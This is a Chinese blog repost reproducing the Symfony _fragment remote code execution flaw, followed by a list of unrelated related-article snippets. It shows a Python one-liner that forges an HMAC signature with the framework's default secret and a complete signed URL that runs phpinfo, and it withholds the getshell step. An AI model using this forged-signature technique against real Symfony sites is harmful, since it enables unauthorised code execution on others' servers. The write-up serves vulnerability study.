不知几DAY的Symfony---RCE复现

news2024/11/25 18:48:40

感谢红队大佬老流氓的供稿,此篇文章是针对Symfony框架的一个RCE漏洞复现

​框架简介
Symfony是一个开源的PHP Web框架,它现在是许多知名 CMS 的核心组件,例如Drupal、Joomla!、eZPlatform(以前称为 eZPublish)或Bolt。该框架在低版本时使用了默认密钥,从而造成RCE。
Symfony 的内置功能之一是类,用于处理ESI(Edge-Side Includes)。本质上,当有人向发出请求时,此侦听器会根据给定的 GET 参数设置请求属性。由于这允许运行任意 PHP 代码(稍后会详细介绍),因此必须使用 HMAC 值对请求进行签名。此 HMAC 的秘密加密密钥存储在名为的 Symfony 配置值下。
FragmentListener/_fragmentsecret

漏洞前提
版本高的时候攻击者需要拿到密钥(从文件备份等获取),低版本时为默认密钥(本地安装获即可得)。

环境安装
这里使用的是ubuntu16,安装的是Symfony 3.4.1,命令大致如下

sudo apt update
sudo apt install php-cli unzip
sudo apt-get update
sudo apt-get install php php-xml php-curl php-cli php-zip php-gd php-mysql
sudo apt-get install php php-xml php-curl php-cli php-zip php-gd php-mysql -y
composer create-project symfony/framework-standard-edition my_project_name 3.4.1
apt install composer -y
composer create-project symfony/framework-standard-edition my_project_name 3.4.1
sudo apt-get install --reinstall ca-certificates
composer create-project symfony/framework-standard-edition my_project_name 3.4.1
sudo apt update
sudo apt install php-cli unzip
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php composer-setup.php --install-dir=/usr/local/bin --filename=composer
php -r "unlink('composer-setup.php');"
composer create-project symfony/framework-standard-edition my_project_name 3.4.1
cd my_project_name
composer install
sudo chmod +x bin/console

启动环境
php bin/console server:run 0.0.0.0:8000 在本机的8000端口开启监听
在这里插入图片描述
在这里插入图片描述

​漏洞复现
密钥: APP_SECRET is ThisTokenIsNotSoSecretChangeIt 安装的时候可以看见

生成签名,执行phpinfo函数

page="http://xx.xx.xx.xx:8000/_fragment?_path=_controller%3Dphpinfo%26what%3D-1"
python -c "import base64, hmac, hashlib; print(base64.b64encode(hmac.HMAC(b'ThisTokenIsNotSoSecretChangeIt', b'$page', hashlib.sha256).digest()))"

在这里插入图片描述

拼接路径
注意如果生成的签名里面有+号等特殊符号需要进行url编码,完整url如下:

http://xx.xx.xx.xx:8000/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=1AojZEyRdQcbIw/hIIukPuOfCbj8tuYrKg0sCPJBWDE=

Getshell部分就不发了,那个就是佬的辛勤研究成果了,请大家给老流氓点赞

​复现难点
如何获取每个函数的使用方法、寻找可getshell的函数。注意编码问题,如果访问拼接的url提示403则签名有问题,可能是有符号没有编码或函数参数有问题

参考文章
链接1: https://www.ambionics.io/blog/symfony-secret-fragment
链接2: https://medium.com/@bxrowski0x/3-symfony-rce-a-peek-behind-the-curtain-83da5433e149

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1892916.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

植物大战僵尸融合版1.0下载(全部植物合体)

如果你是《植物大战僵尸》系列的忠实粉丝,那么有一个好消息:一款全新的改版游戏——《植物大战僵尸融合版》已经上线。这不仅仅是一次简单的更新,而是一次彻底的玩法革新。B站UP主蓝飘飘fly精心打造的这个版本,为玩家带来了前所未…

Java-数据结构

数据结构概述 常见的数据结构 栈 队列 数组 链表 二叉树 二叉查找树 平衡二叉树 红黑树 示例:

YOLO-letter box

最细致讲解yolov8模型推理完整代码--(前处理,后处理) - 博客-中国极客 (chinageek.org) 直接用resize,图片会变形,宽高比会不对 letterbox函数就是把图片弄到想要的大小,保持宽高比,然后少掉的部…

Tomcat服务部署安装

一、Tomcat基础 1.Tomcat简介 Tomcat服务器是一个免费的开放源代码的Web应用服务器,Tomcat虽然和Apache或者Nginx这些Web服务器一样,具有处理HTML页面的功能,然而由于其处理静态HTML的能力远不及Apache或者Nginx,所以Tomcat通常…

A*——AcWing 179. 八数码

A* 定义 A* 算法是一种在图形或地图中寻找最短路径的启发式搜索算法。它通过综合考虑起始节点到当前节点的实际代价和当前节点到目标节点的预估代价,来决定下一步的搜索方向。 运用情况 路径规划:如在地图导航中为车辆、行人规划最优路线。游戏开发&…

【附精彩文章合辑】佛光普照,智慧引领——记首个中文社区版Gemma-2的诞生,共筑和谐科技净土

阿弥陀佛,贫僧唐僧,自西天取经归来,虽已超脱尘世,然心系众生,尤是见科技日新月异,信息洪流浩渺无垠,心中不免生出几分感慨与期许。近日,闻讯首个中文社区版的Gemma-2即将面世&#x…

【Pyhton学习】常用标识符与关键字

🎬 鸽芷咕:个人主页 🔥 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 文章目录 1. 标识符与关键字2. 常用格式化输出符号3. 算数运算符4. 赋值运算符5. 比较运算符总结 1. 标识符与关键字 在Python…

桌面记笔记的软件:能加密的笔记app

在日常生活和工作中,很多人都有记笔记的习惯。无论是记录会议要点、学习心得,还是生活中的点滴灵感,笔记都是我们不可或缺的好帮手。然而,传统的纸笔记录方式逐渐不能满足现代人的需求,因为纸质笔记不易保存、查找困难…

动手学深度学习(Pytorch版)代码实践 -计算机视觉-39实战Kaggle比赛:狗的品种识别(ImageNet Dogs)

39实战Kaggle比赛:狗的品种识别(ImageNet Dogs) 比赛链接:Dog Breed Identification | Kaggle 1.导入包 import torch from torch import nn import collections import math import os import shutil import torchvision from…

nacos开启鉴权后,springboot注册失败

1.确认Nacos版本 我的Nacos版本是1.4.2 2.确认Nacos相关依赖的版本之间兼容&#xff0c;一下是我的一些pom.xml依赖 <!--父级项目的--><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifa…

MySQL:MySQL总结

文章目录 MySQL思维导图基础实际在 Innodb 存储引擎中&#xff0c;会用一个特殊的记录来标识最后一条记录&#xff0c;该特殊的记录的名字叫 supremum pseudo-record &#xff0c;所以扫描第二行的时候&#xff0c;也就扫描到了这个特殊记录的时候&#xff0c;会对该主键索引加…

深化产教融合“桥梁”作用!蓝卓携手宁波4大院校共育数智人才

建强“三支队伍”赋能新质生产力&#xff0c;为进一步加强新时代教师队伍建设改革&#xff0c;促进人才培养能力和服务企业能力“双提升”&#xff0c;7月2日&#xff0c;“2024企业实践工业互联网职业教育师资培训班”在蓝卓顺利开班。 来自宁波城市职业技术学院、宁波职业技…

代理IP和VPN有什么区别?该怎么选择?

今天我们来聊聊很多人关心的一个问题——代理IP和VPN到底有什么区别&#xff1f;虽然它们听起来差不多&#xff0c;但其实有很大的不同。这篇文章&#xff0c;小编就带大家一起了解一下吧&#xff01; 什么是代理IP&#xff1f; 代理IP是一种通过代理服务器替换用户真实IP地址…

c进阶篇(四):内存函数

内存函数以字节为单位更改 1.memcpy memcpy 是 C/C 中的一个标准库函数&#xff0c;用于内存拷贝操作。它的原型通常定义在 <cstring> 头文件中&#xff0c;其作用是将一块内存中的数据复制到另一块内存中。 函数原型&#xff1a;void *memcpy(void *dest, const void…

UE5 修改项目名称 类的名称

修改类的名称 这里推荐使用Rider编辑器修改&#xff0c;它会给你遍历所有的引用&#xff0c;然后一次性修改&#xff0c;并自动添加DefaultEngine.ini。接下来&#xff0c;我将给大家演示如何实现。 我们在一个类的文件上面选择重构此 然后选择重命名 在弹框内修改为新的名称…

PG实践|内置函数之GENERATE_SERIES之深入理解(二)

&#x1f4eb; 作者简介&#xff1a;「六月暴雪飞梨花」&#xff0c;专注于研究Java&#xff0c;就职于科技型公司后端工程师 &#x1f3c6; 近期荣誉&#xff1a;华为云云享专家、阿里云专家博主、腾讯云优秀创作者、ACDU成员 &#x1f525; 三连支持&#xff1a;欢迎 ❤️关注…

【Whisper】WhisperX: Time-Accurate Speech Transcription of Long-Form Audio

Abstract Whisper 的跨语言语音识别取得了很好的结果&#xff0c;但是对应的时间戳往往不准确&#xff0c;而且单词级别的时间戳也不能做到开箱即用(out-of-the-box). 此外&#xff0c;他们在处理长音频时通过缓冲转录

c++类模板--无法解析的外部符号

解决办法 文章目录 解决办法方法1(推荐).在主函数包含头文件时将实现模板类的函数也包含进来方法2.将模板类的实现方法写在头文件里面方法3.函数模板声明前加inline 可能错误2&#xff0c;类内实现友元输出重载 方法1(推荐).在主函数包含头文件时将实现模板类的函数也包含进来 …

七、函数练习

目录 1. 写一个函数可以判断一个数是不是素数。&#xff08;素数只能被1或其本身整除的数&#xff09; 2. 一个函数判断一年是不是闰年。 3.写一个函数&#xff0c;实现一个整形有序数组的二分查找。 4. 写一个函数&#xff0c;每调用一次这个函数&#xff0c;使得num每次增…

养老院人员定位系统如何实现

养老院人员定位系统应反应养老公寓情况、增加老人安全防范级别、加强安全保障措施&#xff0c;部署物联网设备及配套集成平台软件&#xff0c;实时定位人员信息及时反应老人救助行为&#xff0c;实现与视频、门禁一卡通等自动化监管设施联合动作&#xff0c;提高应急响应速度和…